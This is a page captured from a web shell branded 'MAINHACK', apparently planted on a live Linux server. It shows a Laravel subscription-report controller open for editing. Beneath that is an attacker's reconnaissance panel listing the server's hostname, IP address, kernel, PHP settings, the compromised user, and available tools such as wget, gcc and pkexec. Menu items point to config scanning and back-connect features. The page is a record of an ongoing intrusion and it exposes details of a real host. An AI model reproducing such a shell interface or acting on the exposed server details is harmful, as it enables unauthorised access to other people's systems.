[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SubscriptionReport.php
<?php namespace App\Http\Controllers\Admin; use App\Exports\ExportSubscription; use Illuminate\Http\Request; use App\Models\PlanSubscribe; use Barryvdh\DomPDF\Facade\Pdf; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\DB; use Maatwebsite\Excel\Facades\Excel; class SubscriptionReport extends Controller { public function index(Request $request) { $subscribers = PlanSubscribe::with(['plan:id,subscriptionName','business:id,companyName,business_category_id,pictureUrl','business.category:id,name','gateway:id,name'])->latest()->paginate(20); return view('admin.subscribers.index', compact('subscribers')); } public function acnooFilter(Request $request) { $search = $request->input('search'); $subscribers = PlanSubscribe::with([ 'plan:id,subscriptionName', 'business:id,companyName,business_category_id', 'business.category:id,name' ]) ->when($search, function ($q) use ($search) { $q->where(function ($q) use ($search) { $q->where('duration', 'like', '%' . $search . '%') ->orWhereHas('plan', function ($q) use ($search) { $q->where('subscriptionName', 'like', '%' . $search . '%'); }) ->orWhereHas('gateway', function ($q) use ($search) { $q->where('name', 'like', '%' . $search . '%'); }) ->orWhereHas('business', function ($q) use ($search) { $q->where('companyName', 'like', '%' . $search . '%') ->orWhereHas('category', function ($q) use ($search) { $q->where('name', 'like', '%' . $search . '%'); }); }); }); }) ->latest() ->paginate($request->per_page ?? 20); if ($request->ajax()) { return response()->json([ 'data' => view('admin.subscribers.datas', compact('subscribers'))->render() ]); } return redirect(url()->previous()); } public function reject(Request $request, string $id) { $request->validate([ 'notes' => 'required|string|max:255', ]); $reject = PlanSubscribe::findOrFail($id); if ($reject) { $reject->update([ 'payment_status' => 'reject', 'notes' => $request->notes, ]); return response()->json([ 'message' => 'Status Unpaid', 'redirect' => route('admin.subscription-reports.index'), ]); } else { return response()->json(['message' => 'request not found'], 404); } } public function paid(Request $request, string $id) { $request->validate([ 'notes' => 'required|string|max:255', ]); DB::beginTransaction(); try { $subscribe = PlanSubscribe::findOrFail($id); $existingNotes = $subscribe->notes ?? []; $updatedNotes = array_merge($existingNotes, ['reason' => $request->notes]); $subscribe->update($request->except('notes') + [ 'payment_status' => 'paid', 'notes' => $updatedNotes, ]); $subscribe->business->update([ 'subscriptionDate' => now(), 'plan_subscribe_id' => $subscribe->id, 'will_expire' => now()->addDays($subscribe->plan->duration), ]); DB::commit(); Cache::forget('plan-data-', $subscribe->business_id); return response()->json([ 'message' => 'Status Paid', 'redirect' => route('admin.subscription-reports.index'), ]); } catch (\Exception $e) { DB::rollBack(); return response()->json(['message' => 'request not found'], 500); } } public function getInvoice($invoice_id) { $subscriber = PlanSubscribe::with(['plan:id,subscriptionName','business:id,companyName,business_category_id,phoneNumber,address','business.category:id,name','gateway:id,name'])->findOrFail($invoice_id); return view('admin.subscribers.invoice', compact('subscriber')); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002